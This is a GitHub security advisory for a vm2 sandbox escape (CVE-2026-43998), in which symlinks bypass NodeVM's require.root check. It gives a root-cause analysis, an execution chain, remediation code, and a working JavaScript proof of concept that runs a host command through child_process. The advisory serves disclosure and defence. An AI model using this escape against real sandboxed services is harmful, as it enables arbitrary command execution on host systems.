GitHub Advisoryadvisory · npm
GHSA-cp6g-6699-wx9c vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape
HIGH
Official page ↗
- Aliases
- CVE-2026-43998
- Ecosystem
- npm
- Packages
- vm2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-59
- Reviewed
- 2026-05-07
Affected packages
• npm vm2: >= 3.10.5, < 3.11.0 → fixed in 3.11.0
Description
Summary
NodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.
Severity
High (CVSS 3.1: 8.5)
`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H`
• Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
• Attack Complexity: High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments
• Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
• User Interaction: None
• Scope: Changed — the vulnerability is in the sandbox boundary; impact is on the host system
• Confidentiality Impact: High — arbitrary file read via host command execution
• Integrity Impact: High — arbitrary command execution on the host
• Availability Impact: High — arbitrary command execution on the host
Affected Component
• `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60)
• `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66)
• `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10)
CWE
• CWE-59: Improper Link Resolution Before File Access
Description
Root Cause: Check/Use Path Discrepancy
The `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:
```js
// lib/resolver-compat.js:53-60
isPathAllowed(filename) {
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!filename.startsWith(path)) return false;
const len = path.length;
if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(filename[len]);
});
}
```
The filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`:
```js
// lib/filesystem.js:8-10
resolve(path) {
return pa.resolve(path);
}
```
`path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does NOT dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check.
However, the actual module loading uses Node's native `require()`, which does follow symlinks:
```js
// lib/resolver-compat.js:62-66
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename);
mod.exports = vm.readonly(m);
}
```
No Symlink Defenses Exist
A search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:
```js
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;
```
Full Execution Chain
1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }`
2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces)
3. Sandbox code calls `require('safe')`
4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js`
5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed)
6. `isPathAllowed()` checks if path starts with `/tmp/root/` → PASSES
7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)`
8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js`
9. Module executes in host realm; exports proxied to sandbox
10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`)
Proof of Concept
```js
const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');
// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });
// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');
const vm = new NodeVM({
require: {
external: ['safe'],
root,
context: 'host',
builtin: [], // no builtins allowed
},
});
// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
const { NodeVM } = require('safe');
const inner = new NodeVM({ require: { builtin: ['child_process'] } });
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'inner.js'
);
`, path.join(root, 'vm.js'));
console.log(out.trim()); // prints host uid/gid — RCE achieved
```
Impact
• Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.
• Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.
• Bypasses `require.root` entirely: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.
• Common in production: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation.
• Silent failure: No error or warning is raised when a symlink traverses outside the root.
Recommended Remediation
Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred)
Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:
```js
// lib/filesystem.js — add a realpath method
const fs = require('fs');
class DefaultFileSystem {
resolve(path) {
return pa.resolve(path);
}
realpath(path) {
return fs.realpathSync(path);
}
// ... rest unchanged
}
```
```js
// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it
isPathAllowed(filename) {
let realFilename;
try {
realFilename = this.fs.realpath(filename);
} catch (e) {
return false; // file doesn't exist or can't be resolved
}
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!realFilename.startsWith(path)) return false;
const len = path.length;
if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(realFilename[len]);
});
}
```
Also dereference root paths at construction time:
```js
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {
const resolved = fsOpt.resolve(f);
try { return fs.realpathSync(resolved); } catch (e) { return resolved; }
}) : undefined;
```
Tradeoff: `realpathSync` adds a syscall per path check. Cache results to minimize overhead.
Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess`
Add a realpath check at the enforcement point in `Resolver.makeExtensionHandler`:
```js
makeExtensionHandler(vm, name) {
return (mod, filenam…
Related
Alias · CVE (1)
- CVE-2026-43998 vm2 is an open source vm/sandbox for Node.js. vulnerability
Weakness · CWE (1)
- CWE-59 Improper Link Resolution Before File Access weakness